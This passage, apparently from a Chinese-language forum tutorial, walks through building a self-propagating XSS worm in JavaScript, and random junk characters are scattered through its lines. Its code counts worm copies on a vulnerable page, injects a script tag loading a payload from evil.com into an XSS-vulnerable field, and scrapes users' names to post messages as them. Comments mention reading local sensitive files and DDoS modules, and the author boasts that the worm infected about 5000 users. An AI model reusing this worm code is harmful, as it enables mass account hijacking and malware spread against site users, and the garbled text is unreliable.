~) Q* Z6 U2 K l+ r$ g( v/ Z }6 q2 S& Z; Q/ `9 y
1 a# V1 `% V7 a5 I/ A$ s' V" R! B. s) ` browserinfo();% ~' E( C; @1 g: c9 H
/ Q: A6 @# s8 K5 ~
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 l7 I ^& x j2 I* e- h2 m' S4 Z& N) U8 E! s0 N
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
/ s: C" I4 M8 U% r( q& N# |. [8 g6 x. H f# F$ f2 y
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}5 c6 y: N: f8 [4 f E
! v- t c7 R6 c8 I& v) T" t
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
6 T [2 H3 U6 V+ B0 R4 `5 @复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
( p, P/ J9 O2 }复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码; h4 b2 A2 @7 Y& ]+ S
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.2 x2 @- M, X1 Y. G( {1 j
) u2 T5 f: J8 }: z8 K8 N$ q3 r! DxmlHttpReq.send(null);% k# h8 X8 h) N) s9 k: m
1 g0 \3 [2 M4 e- B$ q5 mvar resource = xmlHttpReq.responseText;
0 q# b3 ~5 f W! @4 J6 |" |& q7 T7 {& X1 T) Z* u7 [* V
var id=0;var result;
: k. W* ^+ o Y4 G$ \' B2 m" R+ }" H3 a. p
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.$ ~; u4 k# @4 `0 V
) f" q( T0 u8 R+ Bwhile ((result = patt.exec(resource)) != null) {
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- S$ h H& m9 A8 Z复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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3 V% Q5 H, l1 ^no=resource.search(/my name is/);0 H2 m \8 S! K+ |/ _; W' @
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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& D; G( |3 G1 Y* i. Q. t) CxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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! V9 M8 j3 [# Z3 Z4 d6 l4 Y" V5 CxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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, j% V0 Q' s" zxmlHttpReq.setRequestHeader("content-length",post.length);
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8 l j' X' s3 g; H3 cxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");" `- n# A1 a/ @& q+ X
, g! u. u0 I% p% {5 z% s8 D$ J7 NxmlHttpReq.send(post);9 y4 O2 J! @1 C0 v! \% ^ @+ W
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得./ v: ]) d; q: j$ U% h( [
1 f; q! e# e% u6 a1 |# y4 f$ y! Evar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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. c( w" t1 a- o- c! j$ `- k7 _var post="wd="+wd;% F, D% _# t& t8 X! @
9 ^$ P0 @+ |5 Y4 z' w* sxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);6 l8 x; _3 ^$ b# P
Y1 O$ J% m. V3 R& [) a, R8 d4 axmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");: k0 ^. P0 t& ^/ b- G& ]
3 M) q$ L; a* ]: ?! v) FxmlHttpReq.setRequestHeader("content-length",post.length);
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, r- `9 ~7 x, H( b$ @xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");6 ~# L; j. p* L, F& m
" Q/ T- D# X. G* P: ^xmlHttpReq.send(post); //把传播的信息 POST出去.2 K/ t' B+ [4 d3 Z& L8 e
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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1 T0 [1 a& }0 Z+ L7 n( ?本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.5 m$ c) N+ h& T% _, T, O( k
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.) N: A& J. ~$ _) L7 ^2 u) N
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:6 N" r# { F0 z, F, v
4 e( @/ T+ @+ |"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 h; u8 A t d+ K6 L# {Other XmlHttpRequest tricks (Amit Klein, January 2003)) F+ `% p; U9 e+ I z4 Z
"Cross Site Tracing" (Jeremiah Grossman, January 2003)/ O& c% l+ A" h
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
; W( D/ [4 m G2 B8 d+ w' C空虚浪子心BLOG http://www.inbreak.net; i2 y- o6 v: x
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